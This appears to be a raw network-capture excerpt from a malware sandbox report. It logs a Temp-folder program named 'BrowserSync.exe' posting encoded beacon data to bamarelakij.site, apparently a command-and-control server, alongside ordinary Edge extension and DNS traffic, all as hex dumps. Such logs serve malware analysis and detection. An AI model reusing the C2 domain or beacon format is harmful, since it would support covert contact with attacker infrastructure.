&'@i&N?\9l&PeK=w)8936&l`Yfi&NeK=w)<2u&ueK=w)(99.7(.7(7&eK=w)'#*
2025-01-09 13:40:52 UTC	1369	IN	Data Raw: 26 c0 c0 a0 3e 0d 41 5a 4c a1 49 56 4e 55 35 89 56 71 1d 25 0b 74 15 00 f1 03 e1 0c 08 00 08 02 1b 16 07 1f 0b 26 d6 d6 50 f1 03 65 06 ab 4b 3d 77 95 29 38 39 b7 33 b4 36 b2 b9 15 00 51 0e e8 0c 09 00 08 02 1b 16 07 1f 0b 26 d6 d6 50 51 0e 65 06 ab 4b 3d 77 95 29 b9 b2 b1 b6 b7 32 17 32 31 15 00 f8 0a d5 00 0b 00 08 02 1b 16 07 1f 0b 26 d6 d6 e5 f8 0a 65 06 ab 4b 3d 77 95 29 28 39 b7 3c bc a6 b2 3a 34 b7 32 15 00 eb 05 f1 06 09 00 08 02 1b 16 07 1f 0b 26 d6 d6 11 eb 05 65 06 ab 4b 3d 77 95 29 ba b9 b2 39 17 b1 b7 37 33 11 00 48 01 84 09 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 ae 48 01 20 53 91 08 6e 55 38 8a 15 00 be 0d 24 0b 24 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae be 0d 65 06 ab 4b 3d 77 95 29 a3 b7 b7 b3 36 b2 2e a1 34 39 b7 b6 b2 2e a0 38 38 36 b4 b1 b0 3a Data Ascii: &>AZLIVNU5Vq%t&PeK=w)8936Q&PQeK=w)221&eK=w)(9<:42&eK=w)973H&H SnU8$$&eK=w)6.49.886:
2025-01-09 13:40:52 UTC	1369	IN	Data Raw: 8a 4a 33 51 d8 7a 8d e4 de 39 76 70 11 00 58 0a 68 02 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 ae 58 0a 4b c3 a4 7d 04 24 f8 fa 11 00 9f 04 65 09 04 00 04 02 1b 16 07 1f 0b 26 d1 d1 6c 9f 04 38 fd 90 24 77 fb 39 a6 15 00 fc 0d 99 07 06 00 08 02 1b 16 07 1f 0b 26 d6 d6 6c fc 0d 65 06 ab 4b 3d 77 95 29 38 39 b2 33 b4 3c 15 00 3e 09 34 06 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 2f 3e 09 88 46 25 d7 35 c3 21 51 fc 95 3f 07 61 b0 64 70 15 00 85 0d 9f 02 08 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae 85 0d 65 06 ab 4b 3d 77 95 29 38 39 b7 33 b4 36 b2 b9 15 00 ca 00 5e 02 04 00 08 02 1b 16 07 1f 0b 26 d6 d6 a0 ca 00 65 06 ab 4b 3d 77 95 29 15 17 32 31 15 00 67 00 73 05 35 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae 67 00 65 06 ab 4b 3d 77 95 29 a1 1d 2e 28 39 b7 b3 39 b0 b6 10 23 b4 36 Data Ascii: J3Qz9vpXh&XK}$e&l8$w9&leK=w)893<>4&/>F%5!Q?adp&eK=w)8936^&eK=w)21gs5&geK=w).(99#6
2025-01-09 13:40:52 UTC	1369	IN	Data Raw: 2b 28 27 af 15 15 00 db 00 27 0e 05 00 08 02 1b 16 07 1f 0b 26 d6 d6 a0 db 00 65 06 ab 4b 3d 77 95 29 2a 39 b0 b9 34 15 00 5e 0d 33 07 21 00 08 02 1b 16 07 1f 0b 26 d6 d6 6c 5e 0d 65 06 ab 4b 3d 77 95 29 b6 b2 b9 b9 b2 37 b3 b2 39 b9 2e 2a b2 36 b2 b3 39 b0 b6 2e 22 b2 b9 b5 3a b7 38 2e 3a 32 b0 3a b0 15 00 68 05 4b 0b 11 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae 68 05 65 06 ab 4b 3d 77 95 29 b1 34 39 b7 b6 b4 ba b6 af 31 39 b7 bb b9 b2 39 b9 15 00 b2 09 5a 06 11 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae b2 09 65 06 ab 4b 3d 77 95 29 b1 34 39 b7 b6 b4 ba b6 af 31 39 b7 bb b9 b2 39 b9 15 00 a2 02 e6 05 0a 00 08 02 1b 16 07 1f 0b 26 d6 d6 f2 a2 02 65 06 ab 4b 3d 77 95 29 aa b9 b2 39 96 a0 b3 b2 37 3a 15 00 ee 0a 12 0e 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 a0 ee 0a 02 f3 Data Ascii: +(''&eK=w)94^3!&l^eK=w)79.69.":8.:2:hK&heK=w)49199Z&eK=w)49199&eK=w)97:&
2025-01-09 13:40:52 UTC	1369	IN	Data Raw: b2 17 b2 3c b2 15 00 d0 00 26 03 4f 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae d0 00 65 06 ab 4b 3d 77 95 29 a4 37 32 b2 3c b2 32 22 21 2e b1 34 39 b7 b6 b2 96 b2 3c 3a b2 37 b9 b4 b7 37 af b3 b7 35 34 b1 32 b3 b1 38 31 38 33 b4 b3 b1 b0 b2 35 38 33 34 33 b2 b3 b2 b5 32 b3 b4 31 36 b5 af 18 17 b4 37 32 b2 3c b2 32 32 31 17 36 b2 3b b2 36 32 31 15 00 86 0b 23 0e 0d 00 08 02 1b 16 07 1f 0b 26 d6 d6 f2 86 0b 65 06 ab 4b 3d 77 95 29 36 b4 31 39 b2 bb b7 36 33 17 b2 3c b2 15 00 39 0f 92 00 08 00 08 02 1b 16 07 1f 0b 26 c0 c0 fd 39 0f 86 a2 11 bb c7 d6 1e d7 f2 71 0b 6b 93 a5 5b f6 15 00 67 01 8f 0f 09 00 08 02 1b 16 07 1f 0b 26 d6 d6 2f 67 01 65 06 ab 4b 3d 77 95 29 a9 3a b2 b0 b6 28 b0 3a 34 15 00 1c 08 bc 09 07 00 08 02 1b 16 07 1f 0b 26 d6 d6 ae 1c 08 65 06 ab 4b Data Ascii: <&O&eK=w)72<2"!.49<:7754281835834321672<2216;621#&eK=w)61963<9&9qk[g&/geK=w):(:4&eK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	172.67.174.91	443	4324	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:40:52 UTC	407	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 53 Host: bamarelakij.site
2025-01-09 13:40:52 UTC	53	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 03 00 00 00 00 fe ff ff ff 00 00 00 00 02 00 00 00 91 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
2025-01-09 13:40:53 UTC	750	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 13:40:53 GMT Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xGC9FUYs0BvXTDQV3LDTysM9mutqQMvETelJT%2BYQd%2FDSX965%2BdEtoYqLE64jeNc4N8qHmPV7AfqgGlUgdteIsUFCruafkJAkZUD1ADV6FxQIze9mGVUL%2FGJgq9oOiaLx%2Bt6M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d7767dc44390-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1717&min_rtt=1706&rtt_var=662&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1096&delivery_rate=1624930&cwnd=243&unsent_bytes=0&cid=eff819f31e8d3b6c&ts=338&x=0"
2025-01-09 13:40:53 UTC	24	IN	Data Raw: 31 32 0d 0a 00 00 00 00 fe ff ff ff 00 00 00 00 02 00 00 00 91 90 0d 0a Data Ascii: 12
2025-01-09 13:40:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	172.67.174.91	443	4324	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:40:53 UTC	408	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 208 Host: bamarelakij.site
2025-01-09 13:40:53 UTC	208	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 01 95 00 00 00 bc 9d a0 1a 08 00 00 00 95 00 00 00 45 ab c5 66 71 e3 95 29 00 00 00 00 5e ce 50 0d 00 00 00 00 81 00 00 00 49 60 48 00 00 00 00 5e ce 50 0d 00 00 00 00 31 00 00 00 28 a5 03 03 16 00 00 00 00 00 00 00 96 00 96 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 a5 03 83 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 28 a5 82 03 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: Efq)^PI`H^P1(((
2025-01-09 13:40:53 UTC	810	IN	HTTP/1.1 204 No Content Date: Thu, 09 Jan 2025 13:40:53 GMT Connection: close ews: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vwq3RGzr9NdxI9gGcukaosCMGm8dQXuwh061MSQzudWoYQ8yQ1gRCc7u5mym4sUMRQQsezQ%2Bfq4W9rw4nZq%2BLCNCSoY%2BZq1PLKGQoVK1nkBS8UXVaShTWVgTARi5gWLt%2FvRe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d77bee0441a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1603&min_rtt=1600&rtt_var=607&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1252&delivery_rate=1791411&cwnd=241&unsent_bytes=0&cid=86838c1ead657b6e&ts=334&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49758	172.217.18.97	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:03 UTC	594	OUT	GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-01-09 13:41:03 UTC	563	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFiumC60FXRFlnBRBQi3LEUQz5M9VCEpErAbNS4XBkrIk4uwQb-qy4IaP1uysfsIwpme-vjK Accept-Ranges: bytes Content-Length: 154477 X-Goog-Hash: crc32c=F5qq4g== Server: UploadServer Date: Wed, 08 Jan 2025 15:58:13 GMT Expires: Thu, 08 Jan 2026 15:58:13 GMT Cache-Control: public, max-age=31536000 Age: 78170 Last-Modified: Thu, 12 Dec 2024 15:58:04 GMT ETag: a01bfa19_322860b8_b556d942_61bcf747_a602b083 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-09 13:41:03 UTC	827	IN	Data Raw: 43 72 32 34 03 00 00 00 f3 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2025-01-09 13:41:03 UTC	1390	IN	Data Raw: d2 ff f8 fb 8f f1 b3 aa ea fc 5a ff 65 a8 3e ff f2 76 56 d5 8f bf fe b8 9e df fb 4a fe 2c 2f fd 58 f5 e3 8f bf ff eb c7 90 3f d4 25 97 fa fc ea 11 36 05 b0 0d c1 6d 23 05 75 5d 82 5a 95 8f c3 96 5b d7 73 d6 4d 5f 19 18 df 4a a0 b6 22 39 6c 91 fb 6c a3 f3 fd 2c 7c d5 8b 14 19 87 e6 72 d6 e7 d7 51 43 c1 e1 fb ef 9d ba 8a 34 3a 9f d4 f8 cb a1 77 6a e9 bf 9f 4f e7 c3 14 35 ef b7 d2 b7 fb ef 73 ca 6e f7 25 e1 ee 92 a5 e8 f2 fd 79 01 10 17 0f 63 e2 fc fd 91 b4 23 46 0c 8e b4 1b 1b e1 a3 2e ef a8 29 67 76 28 cd 10 21 53 ec 49 17 3e f2 20 dc 54 be b0 c5 23 dc 1d 83 eb b9 f4 a1 91 ef 0f db 83 da 5d 0b 80 ea c2 67 f3 11 c0 ee 08 4c 55 5a a8 16 40 1f 77 c3 5c 80 cd f9 b8 0f 1f 05 d8 fd 7b 9d df f7 16 4e b9 a7 7a 66 d5 6e 02 19 3a 72 f1 95 74 0c 72 0e cf 9c ab 3d a2 Data Ascii: Ze>vVJ,/X?%6m#u]Z[sM_J"9ll,\|rQC4:wjO5sn%yc#F.)gv(!SI> T#]gLUZ@w\{Nzfn:rtr=
2025-01-09 13:41:03 UTC	1390	IN	Data Raw: fb 40 b0 b4 75 cd a2 45 ec b5 f7 5f 79 7d 9c cd 6c 12 a9 d6 7b 85 01 32 0c 8b 32 98 4b 0f f9 85 0b e3 3c 40 38 52 9e 25 bb 7a 8f 3d a8 39 20 c4 e5 c3 0c b0 21 bf 16 af df 1f d6 7a ee 0d 99 c3 31 ea 95 12 c6 e4 1c 29 ba 47 74 ec a8 92 fb c2 95 5e e2 ca b0 a4 22 c6 26 76 ca 5e 73 34 d5 7c c4 e8 14 05 cb 7b 5f fe 1f 38 b8 6c f0 90 19 b5 92 81 f8 cc 81 4a 13 2f 1a 49 e0 78 71 23 7a 01 c2 0c 77 ba 14 2c e7 2c 3c 91 d1 4e bc 96 0a 3a 18 c8 cd 72 ef c9 b5 f8 8f da e7 6e b0 2f 3c 34 d7 ad f4 42 40 4c d8 a1 40 88 dc 18 8e 64 d6 1c e0 63 1e 05 cf 20 06 f7 3b 0b 70 9c 51 ec 56 dd fb 7d 11 7f 6b 6d ef 0d 1e 52 b0 4d ad e1 45 2a 6f 3e c1 ba 25 26 a2 d8 aa 43 9d 31 12 d1 9a b3 ce 3a 54 eb 81 1f 1b e6 0b 22 ca 2f 2d 08 8a 65 ef 77 c9 57 62 8f 5b 75 cd 1a e5 55 bd 63 44 Data Ascii: @uE_y}l{22K<@8R%z=9 !z1)Gt^"&v^s4\|{_8lJ/Ixq#zw,,<N:rn/<4B@L@dc ;pQV}kmRME*o>%&C1:T"/-ewWb[uUcD
2025-01-09 13:41:03 UTC	1390	IN	Data Raw: ae 14 17 a9 0a ca 56 6b be f7 64 1f 49 78 97 5a b7 31 fc 9e 6d a1 03 6f d9 e7 f7 53 08 01 c3 c5 b9 7a b9 76 b6 db 53 9b 34 0a 6b 4e 57 59 c3 5e 19 bf 00 5d 8b aa e8 60 1e 51 13 25 a6 e3 15 9d 7d ca 7d 96 c5 a9 08 a9 a5 b6 19 1f 60 d5 2f 62 7f 2f 56 f2 3d 57 f8 23 62 ea 11 f9 e1 a4 f7 19 e1 40 b8 32 a8 3b d1 0e 75 e4 ef 5e a5 8b 7d 02 3c b3 b0 c2 54 f7 e1 89 cc ec 28 67 76 59 d4 5a cb 31 52 23 4c d6 ce d6 b5 6f 6c b9 2b 3b 9d 71 b7 59 27 29 f2 cd 97 cc b0 23 c2 6d 96 10 c7 cf 94 88 f2 6e 6a 64 2b 51 dc e1 73 d9 1f ee 59 f3 bf e0 1f e0 37 0a e3 95 33 5e 91 a6 46 6d ea cf 64 89 31 b8 c4 90 37 6a 0a ad fa f8 c0 5c 14 73 a2 84 ce 1a f7 08 d6 da 7b b1 29 06 b5 cf 3b d4 47 7c d1 e7 3f 8a b5 cf 36 82 c8 ca 3a 7b 7f 72 db 3b 69 f1 47 d9 87 17 cd 7f 57 ce c3 98 bb Data Ascii: VkdIxZ1moSzvS4kNWY^]`Q%}}`/b/V=W#b@2;u^}<T(gvYZ1R#Lol+;qY')#mnjd+QsY73^Fmd17j\s{);G\|?6:{r;iGW
2025-01-09 13:41:03 UTC	1390	IN	Data Raw: fd bb 9e 52 c0 c6 ac 63 6d 6a 7d 63 a0 ee bf 61 fe 67 d7 ed a2 91 18 ea 83 e8 bc 84 3c f6 92 99 0e 39 52 fb 50 a4 8e 8d b9 50 b4 45 0e 0e e8 5c f4 48 13 5f 36 61 f7 d9 4a 58 d8 a4 e0 0f 1c 33 8b 34 04 b9 4e a3 a9 25 bf ca 6e d4 75 b6 3b e7 dc 7e 2b 83 f0 4b fc 4f d7 6f 8d 99 43 f4 2a 3b 16 67 fd f0 c0 81 0c 22 df 3e 68 cf fc 25 d5 a0 cd 23 dc 62 3a 6c 78 5f c7 cc 17 bd ce 53 9b 88 64 9b f2 5b 5f 98 71 3d 74 42 5f cb ac e5 6f 5a 85 bf 31 ff bd 96 74 6d fd 76 0d b8 3b 7f f7 5c 6e 6a 9f 9b 0e 4a ef 8f 11 b9 2d f8 fd b3 ca 10 dc fc ce f2 bf cd d3 72 cd a9 3a 3f 7e e8 ba 50 b9 e5 8c 85 66 3c 7d 7c cb b9 ae b1 2e d4 de 6e 77 cd fd f1 92 27 87 ff fc ac be ef 47 09 d4 77 ef e8 3d f4 6e 27 97 de a2 ef ff f7 ce 43 af 53 f3 cd ee 9a 5a 42 95 3d 1a be f9 ed d4 c0 dd Data Ascii: Rcmj}cag<9RPPE\H_6aJX34N%nu;~+KOoC*;g">h%#b:lx_Sd[_q=tB_oZ1tmv;\njJ-r:?~Pf<}\|.nw'Gw=n'CSZB=
2025-01-09 13:41:03 UTC	1390	IN	Data Raw: 73 3d 2b b0 5b de b2 1b ac ac c0 bf bd 49 06 60 0a 98 e5 c3 12 dc fa fd 5e 94 c6 93 21 f3 32 c4 3a e7 6a 98 8e e5 33 47 4c 6f 66 cf 66 8f 00 02 a7 37 5d af 9f 55 1c 7d 2f aa 0d 63 45 34 4d 9c 3f 0c 6f 34 66 3d 1f 97 c5 b3 39 14 7b e1 d5 d2 27 58 29 01 4d de d6 12 94 45 a0 b2 25 18 06 ec ff 89 3f ee 0f 01 1c 62 05 b0 8e 6f 05 55 2b 9a 4e 2b 15 bb 5a f9 59 a9 86 d5 aa 13 d9 6a a3 fa 56 e4 c4 f6 2d 76 5b 8b dd a8 15 f0 25 70 2a 41 38 f2 87 e9 80 f6 c5 43 a6 19 c3 34 71 63 28 94 f7 d5 3e a8 8d fb a7 40 9e 7a b1 db b3 2a 31 8c 90 2f 56 e5 7c e4 f7 bb 83 9f 23 9a 0d 8c ce 42 04 aa 0d 19 a0 6f d7 b2 9f 34 76 5f 6d 6e 6e d6 69 e4 4e a8 e8 02 80 b4 a5 20 5a 4b c7 e1 90 e1 cc 0d d0 9a 83 61 2e 2f 3c 5f c9 d6 50 bd 42 9b 7a 69 bf 37 7e c9 9f 3e a7 e6 e3 76 c6 ba 83 Data Ascii: s=+[I`^!2:j3GLoff7]U}/cE4M?o4f=9{'X)ME%?boU+N+ZYjV-v[%pA8C4qc(>@z1/V\|#Bo4v_mnniN ZKa./<_PBzi7~>v
2025-01-09 13:41:03 UTC	1390	IN	Data Raw: 3d 19 8d fb dd dd 4b 60 21 0e f5 cc 1f 33 7c 0c d2 d1 00 b1 81 5e 69 42 40 e6 1a a3 91 ad d6 e5 68 63 43 03 68 03 51 81 cd 15 5b 50 25 01 0d 0a a0 cc 37 ab d0 e0 70 db 64 42 b6 9f 01 12 e5 58 36 df 46 f2 c0 36 2c 9a 5a d0 f7 89 35 0a f9 9b 66 01 58 a1 26 0c 6a 4d 5c 4b 7b e9 58 7b 57 de c3 72 c3 01 d2 14 c3 96 8f 11 ca 88 39 7c 1d 63 60 72 6c d4 ef 71 f2 9c 49 0e 9c cd 6d 82 37 6e c9 82 9c 2f 0b 6e 24 69 39 f2 e2 78 83 7f 53 04 3d b6 a3 da b9 a8 71 16 77 6c c9 a0 89 56 73 5e 14 11 7c 7c 73 cb 7f 2a d9 f2 39 07 8f 6b 7d 56 ca c0 8d 61 7f 28 ec 36 ce 58 4c 31 40 12 ec 2c 6f 2c 2b 48 03 40 f2 e5 2b 62 36 46 17 48 75 0a bd e4 dc 22 b3 6e 9c 63 a5 86 71 d4 b8 31 30 23 af 19 81 78 83 e3 e9 5a 37 f8 9c 4b 22 f0 7a 80 ff ce 66 cd 63 e2 27 5d 67 e0 5c b9 05 91 82 Data Ascii: =K`!3\|^iB@hcChQ[P%7pdBX6F6,Z5fX&jM\K{X{Wr9\|c`rlqIm7n/n$i9xS=qwlVs^\|\|s*9k}Va(6XL1@,o,+H@+b6FHu"ncq10#xZ7K"zfc']g\
2025-01-09 13:41:03 UTC	1390	IN	Data Raw: fc c2 eb d3 07 f9 cb a9 80 c2 b8 ec 66 aa f4 9a a9 4f 23 9b 16 c3 b7 0c e9 94 d8 01 42 0d 39 01 c1 0c 00 05 bb 46 fd 6c 74 68 20 1a 73 50 b5 25 bf 9b 6b a1 76 bd ec 3e 5a 2f 34 82 c8 be 2c eb 72 e9 75 b9 81 5a f1 03 58 07 57 22 05 05 6e 85 8b 28 3e ed b7 c4 45 0d bd de ae 37 13 31 f9 80 3b 68 01 71 40 1d 01 b4 9c 4e 2d fe e0 0a c4 3b eb d6 d2 a0 03 02 2f 96 20 44 6d 8b bf 7c 02 6e 06 9b 90 bf 10 fe 39 81 a6 8e a4 2a f2 45 4e 66 1c a4 2b 79 31 d8 41 b0 51 04 2d 99 39 bc 77 2e 54 8b 76 6d a7 d8 02 27 86 e2 f3 dc 57 e3 03 ad 3a ec 69 93 fb 84 77 d0 7c da 4b 0a 2e 39 2d a6 36 d1 88 83 03 6c 5b fc 2f 79 5b 7d d8 a9 35 da cd 0e 88 f8 e2 03 a7 27 d3 a9 e0 0c 12 9c 09 82 d3 79 24 9a 2b cc 48 be 25 3a ab ff d0 19 81 59 31 2f 46 8c 01 89 b0 9a f6 ea aa b3 5c b7 89 Data Ascii: fO#B9Flth sP%kv>Z/4,ruZXW"n(>E71;hq@N-;/ Dm\|n9*ENf+y1AQ-9w.Tvm'W:iw\|K.9-6l[/y[}5'y$+H%:Y1/F\
2025-01-09 13:41:03 UTC	1390	IN	Data Raw: 41 d0 ce 03 89 61 57 3a e2 0c 48 31 96 53 3b 09 22 96 46 85 74 06 dc 97 14 6e 80 5c 17 6e 36 1a 8d 75 f8 7f 78 5c 36 a8 54 68 6b 72 c2 09 eb c5 52 50 48 b9 ff e5 a7 0f 83 fe 39 c0 51 2f 55 aa a1 dd 0a 37 5c c2 bc b6 5f 75 f5 b9 25 6c 88 f3 83 06 9b 56 b8 4a 65 5e 38 8b ca 20 06 d7 57 1a f5 b5 67 d3 e7 cf d7 5e bd b0 17 96 14 85 5e 3c 5b 03 09 6f 56 e4 52 22 10 cb 74 09 03 2f bd f9 23 7e 95 07 5a 94 28 41 b2 07 11 ae 60 79 c8 fb cd c2 c6 aa 3b ff 69 1b 7c 15 7c 8c 84 24 dc 79 fa e4 d1 a3 a5 ed fe e0 66 98 c6 c9 78 09 45 c6 ed ac 3f 9a 0c c3 a5 83 d4 1b b2 e1 cd d2 d6 64 9c f4 87 a3 da a3 a5 d3 0f 3b df 56 0f 52 3f ec 8d c2 d5 fd 00 d6 3f 8d d2 70 d8 5c da 1a 80 ee 12 ae ae d5 ea 8f 9e 3c a5 a3 07 57 cc bd 02 12 70 3b 73 2e 49 16 9f 4e 31 20 51 39 f9 af 05 Data Ascii: AaW:H1S;"Ftn\n6ux\6ThkrRPH9Q/U7\_u%lVJe^8 Wg^^<[oVR"t/#~Z(A`y;i\|\|$yfxE?d;VR??p\<Wp;s.IN1 Q9
2025-01-09 13:41:03 UTC	1390	IN	Data Raw: 87 13 fa f8 51 4e 97 0f d5 84 e9 74 fa 59 da 7c bf e3 19 63 e7 07 e3 a7 9c f0 cd e3 fc 08 b5 3a ce 6e 1e 74 71 58 2e 86 7b e3 3e 33 82 51 35 c1 d9 f3 e4 51 51 26 64 2c af 85 36 8b 9c 7b 7a b0 77 c8 75 fa 03 ca fd a0 c3 ce 9a 6e be f5 7a 7b 67 77 ef cd db fd 77 ef 0f 0e 8f 8e 3f 7c 3c 39 fd f4 f9 cb d7 6f df 7f 30 cf 87 a1 c4 49 7a 7e 91 75 7b fd c1 af e1 68 3c b9 bc ba be f9 5d 6f ac 3d 5b 7f fe e2 ef 97 af f2 63 f2 15 f4 d6 9e 55 aa 4f dd 8a 03 ff c2 3f ab 3f 5d fa b7 46 ff 56 3a 94 2b 20 dc 78 de 0a 95 8b c3 47 91 c8 67 63 2b 40 91 24 6f ca 6e 7d 87 bd d2 71 e7 b6 91 dc ac b1 6c 22 71 23 d8 4d ad 1f 0c cf f9 69 73 e6 2f 50 b6 99 79 ee 77 4a 8a 21 24 4f 4b 33 1e c8 1d fb f4 19 74 19 80 e6 f6 62 bd 83 59 19 a8 db d0 e5 f1 d2 79 f6 89 b5 56 54 75 9f c9 63 Data Ascii: QNtY\|c:ntqX.{>3Q5QQ&d,6{zwunz{gww?\|<9o0Iz~u{h<]o=[cUO??]FV:+ xGgc+@$on}ql"q#Mis/PywJ!$OK3tbYyVTuc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49789	172.64.41.3	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:05 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-09 13:41:05 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-09 13:41:05 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 09 Jan 2025 13:41:05 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8ff4d7c44b773300-EWR alt-svc: h3=":443"; ma=86400
